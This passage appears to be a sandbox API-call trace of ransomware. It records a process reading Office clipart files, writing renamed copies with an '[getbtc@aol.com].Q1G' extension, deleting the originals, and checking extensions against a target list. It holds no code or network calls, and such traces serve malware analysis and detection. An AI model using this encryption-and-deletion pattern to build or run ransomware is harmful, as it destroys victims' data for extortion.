(lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187861.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187861.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0265.226] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=9108) returned 1 [0265.226] CloseHandle (hObject=0x37c) returned 1 [0265.226] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187861.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187861.wmf")) returned 0x20 [0265.226] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187861.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187861.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0265.226] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187861.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187861.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0265.226] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0265.226] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0265.226] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187861.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187861.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0265.227] GetLastError () returned 0x0 [0265.227] ReadFile (in: hFile=0x37c, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x2394, lpOverlapped=0x0) returned 1 [0265.229] WriteFile (in: hFile=0x390, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0x23a0, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0x23a0, lpOverlapped=0x0) returned 1 [0265.230] ReadFile (in: hFile=0x37c, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x0, lpOverlapped=0x0) returned 1 [0265.230] WriteFile (in: hFile=0x390, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0265.230] SetEndOfFile (hFile=0x390) returned 1 [0265.230] CloseHandle (hObject=0x390) returned 1 [0265.230] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0265.230] SetEndOfFile (hFile=0x37c) returned 1 [0265.232] CloseHandle (hObject=0x37c) returned 1 [0265.232] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187861.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0265.232] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187861.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187861.wmf")) returned 1 [0265.233] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187861.WMF") returned 63 [0265.233] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187861.WMF") returned 63 [0265.233] lstrlenW (lpString=".doc") returned 4 [0265.233] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0265.233] lstrlenW (lpString=".docx") returned 5 [0265.233] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0265.233] lstrlenW (lpString=".pdf") returned 4 [0265.233] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0265.233] lstrlenW (lpString=".xls") returned 4 [0265.233] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0265.233] lstrlenW (lpString=".xlsx") returned 5 [0265.233] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0265.233] lstrlenW (lpString=".ppt") returned 4 [0265.233] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0265.233] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187861.WMF") returned 63 [0265.233] lstrlenW (lpString=".zip") returned 4 [0265.233] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0265.233] lstrlenW (lpString=".rar") returned 4 [0265.233] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0265.233] lstrlenW (lpString=".bz2") returned 4 [0265.233] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0265.233] lstrlenW (lpString=".7z") returned 3 [0265.233] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0265.233] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187861.WMF") returned 63 [0265.233] lstrlenW (lpString=".dbf") returned 4 [0265.234] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0265.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187861.WMF") returned 63 [0265.234] lstrlenW (lpString=".1cd") returned 4 [0265.234] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0265.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187861.WMF") returned 63 [0265.234] lstrlenW (lpString=".jpg") returned 4 [0265.234] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0265.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187861.WMF") returned 63 [0265.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187861.WMF") returned 63 [0265.234] lstrlenW (lpString=".doc") returned 4 [0265.234] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0265.234] lstrlenW (lpString=".docx") returned 5 [0265.234] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0265.234] lstrlenW (lpString=".pdf") returned 4 [0265.234] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0265.234] lstrlenW (lpString=".xls") returned 4 [0265.234] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0265.234] lstrlenW (lpString=".xlsx") returned 5 [0265.234] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0265.234] lstrlenW (lpString=".ppt") returned 4 [0265.234] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0265.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187861.WMF") returned 63 [0265.234] lstrlenW (lpString=".zip") returned 4 [0265.234] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0265.234] lstrlenW (lpString=".rar") returned 4 [0265.234] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0265.234] lstrlenW (lpString=".bz2") returned 4 [0265.234] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0265.234] lstrlenW (lpString=".7z") returned 3 [0265.234] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0265.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187861.WMF") returned 63 [0265.234] lstrlenW (lpString=".dbf") returned 4 [0265.234] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0265.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187861.WMF") returned 63 [0265.234] lstrlenW (lpString=".1cd") returned 4 [0265.234] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0265.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187861.WMF") returned 63 [0265.234] lstrlenW (lpString=".jpg") returned 4 [0265.235] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0265.235] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0265.235] lstrlenW (lpString="J0187863.WMF") returned 12 [0265.235] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187863.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187863.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0265.235] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=10820) returned 1 [0265.235] CloseHandle (hObject=0x37c) returned 1 [0265.235] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187863.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187863.wmf")) returned 0x20 [0265.235] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187863.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187863.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0265.236] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187863.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187863.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0265.236] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0265.236] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0265.236] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187863.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187863.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0265.239] GetLastError () returned 0x0 [0265.239] ReadFile (in: hFile=0x37c, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x2a44, lpOverlapped=0x0) returned 1 [0265.241] WriteFile (in: hFile=0x390, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0x2a50, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0x2a50, lpOverlapped=0x0) returned 1 [0265.242] ReadFile (in: hFile=0x37c, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x0, lpOverlapped=0x0) returned 1 [0265.242] WriteFile (in: hFile=0x390, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0265.242] SetEndOfFile (hFile=0x390) returned 1 [0265.242] CloseHandle (hObject=0x390) returned 1 [0265.242] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0265.242] SetEndOfFile (hFile=0x37c) returned 1 [0265.244] CloseHandle (hObject=0x37c) returned 1 [0265.244] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187863.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0265.244] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187863.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187863.wmf")) returned 1 [0265.245] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187863.WMF") returned 63 [0265.245] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187863.WMF") returned 63 [0265.245] lstrlenW (lpString=".doc") returned 4 [0265.245] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0265.245] lstrlenW (lpString=".docx") returned 5 [0265.245] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0265.245] lstrlenW (lpString=".pdf") returned 4 [0265.245] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0265.245] lstrlenW (lpString=".xls") returned 4 [0265.245] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0265.245] lstrlenW (lpString=".xlsx") returned 5 [0265.245] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0265.245] lstrlenW (lpString=".ppt") returned 4 [0265.245] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0265.245] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187863.WMF") returned 63 [0265.245] lstrlenW (lpString=".zip") returned 4 [0265.245] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0265.245] lstrlenW (lpString=".rar") returned 4 [0265.245] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0265.245] lstrlenW (lpString=".bz2") returned 4 [0265.246] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0265.246] lstrlenW (lpString=".7z") returned 3 [0265.246] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0265.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187863.WMF") returned 63 [0265.246] lstrlenW (lpString=".dbf") returned 4 [0265.246] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0265.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187863.WMF") returned 63 [0265.246] lstrlenW (lpString=".1cd") returned 4 [0265.246] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0265.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187863.WMF") returned 63 [0265.246] lstrlenW (lpString=".jpg") returned 4 [0265.246] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0265.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187863.WMF") returned 63 [0265.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187863.WMF") returned 63 [0265.246] lstrlenW (lpString=".doc") returned 4 [0265.246] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0265.246] lstrlenW (lpString=".docx") returned 5 [0265.246] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0265.246] lstrlenW (lpString=".pdf") returned 4 [0265.246] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0265.246] lstrlenW (lpString=".xls") returned 4 [0265.246] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0265.246] lstrlenW (lpString=".xlsx") returned 5 [0265.246] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0265.246] lstrlenW (lpString=".ppt") returned 4 [0265.246] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0265.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187863.WMF") returned 63 [0265.246] lstrlenW (lpString=".zip") returned 4 [0265.246] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0265.246] lstrlenW (lpString=".rar") returned 4 [0265.246] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0265.246] lstrlenW (lpString=".bz2") returned 4 [0265.246] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0265.246] lstrlenW (lpString=".7z") returned 3 [0265.246] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0265.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187863.WMF") returned 63 [0265.246] lstrlenW (lpString=".dbf") returned 4 [0265.246] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0265.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187863.WMF") returned 63 [0265.247] lstrlenW (lpString=".1cd") returned 4 [0265.247] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0265.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187863.WMF") returned 63 [0265.247] lstrlenW (lpString=".jpg") returned 4 [0265.247] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0265.247] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0265.247] lstrlenW (lpString="J0187881.WMF") returned 12 [0265.247] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187881.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187881.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0265.247] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=4696) returned 1 [0265.247] CloseHandle (hObject=0x37c) returned 1 [0265.248] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187881.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187881.wmf")) returned 0x20 [0265.248] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187881.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187881.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0265.248] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187881.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187881.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0265.248] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0265.248] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0265.248] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187881.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187881.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0265.249] GetLastError () returned 0x0 [0265.249] ReadFile (in: hFile=0x37c, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x1258, lpOverlapped=0x0) returned 1 [0265.250] WriteFile (in: hFile=0x390, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0x1260, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0x1260, lpOverlapped=0x0) returned 1 [0265.251] ReadFile (in: hFile=0x37c, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x0, lpOverlapped=0x0) returned 1 [0265.251] WriteFile (in: hFile=0x390, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0265.251] SetEndOfFile (hFile=0x390) returned 1 [0265.251] CloseHandle (hObject=0x390) returned 1 [0265.251] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0265.251] SetEndOfFile (hFile=0x37c) returned 1 [0265.253] CloseHandle (hObject=0x37c) returned 1 [0265.253] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187881.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0265.254] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187881.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187881.wmf")) returned 1 [0265.254] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187881.WMF") returned 63 [0265.254] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187881.WMF") returned 63 [0265.254] lstrlenW (lpString=".doc") returned 4 [0265.254] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0265.254] lstrlenW (lpString=".docx") returned 5 [0265.254] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0265.254] lstrlenW (lpString=".pdf") returned 4 [0265.254] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0265.254] lstrlenW (lpString=".xls") returned 4 [0265.254] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0265.254] lstrlenW (lpString=".xlsx") returned 5 [0265.254] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0265.254] lstrlenW (lpString=".ppt") returned 4 [0265.254] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0265.255] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187881.WMF") returned 63 [0265.255] lstrlenW (lpString=".zip") returned 4 [0265.255] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0265.255] lstrlenW (lpString=".rar") returned 4 [0265.255] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0265.255] lstrlenW (lpString=".bz2") returned 4 [0265.255] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0265.255] lstrlenW (lpString=".7z") returned 3 [0265.255] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0265.255] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187881.WMF") returned 63 [0265.255] lstrlenW (lpString=".dbf") returned 4 [0265.255] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0265.255] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187881.WMF") returned 63 [0265.255] lstrlenW (lpString=".1cd") returned 4 [0265.255] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0265.255] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187881.WMF") returned 63 [0265.255] lstrlenW (lpString=".jpg") returned 4 [0265.255] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0265.255] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187881.WMF") returned 63 [0265.255] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187881.WMF") returned 63 [0265.255] lstrlenW (lpString=".doc") returned 4 [0265.255] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0265.255] lstrlenW (lpString=".docx") returned 5 [0265.255] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0265.255] lstrlenW (lpString=".pdf") returned 4 [0265.255] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0265.255] lstrlenW (lpString=".xls") returned 4 [0265.255] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0265.255] lstrlenW (lpString=".xlsx") returned 5 [0265.255] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0265.255] lstrlenW (lpString=".ppt") returned 4 [0265.255] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0265.255] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187881.WMF") returned 63 [0265.255] lstrlenW (lpString=".zip") returned 4 [0265.255] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0265.255] lstrlenW (lpString=".rar") returned 4 [0265.256] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0265.256] lstrlenW (lpString=".bz2") returned 4 [0265.256] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0265.256] lstrlenW (lpString=".7z") returned 3 [0265.256] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0265.256] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187881.WMF") returned 63 [0265.256] lstrlenW (lpString=".dbf") returned 4 [0265.256] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0265.256] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187881.WMF") returned 63 [0265.256] lstrlenW (lpString=".1cd") returned 4 [0265.256] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0265.256] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187881.WMF") returned 63 [0265.256] lstrlenW (lpString=".jpg") returned 4 [0265.256] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0265.256] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0265.256] lstrlenW (lpString="J0187883.WMF") returned 12 [0265.256] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187883.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187883.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0265.257] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=2100) returned 1 [0265.257] CloseHandle (hObject=0x37c) returned 1 [0265.257] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187883.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187883.wmf")) returned 0x20 [0265.257] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft 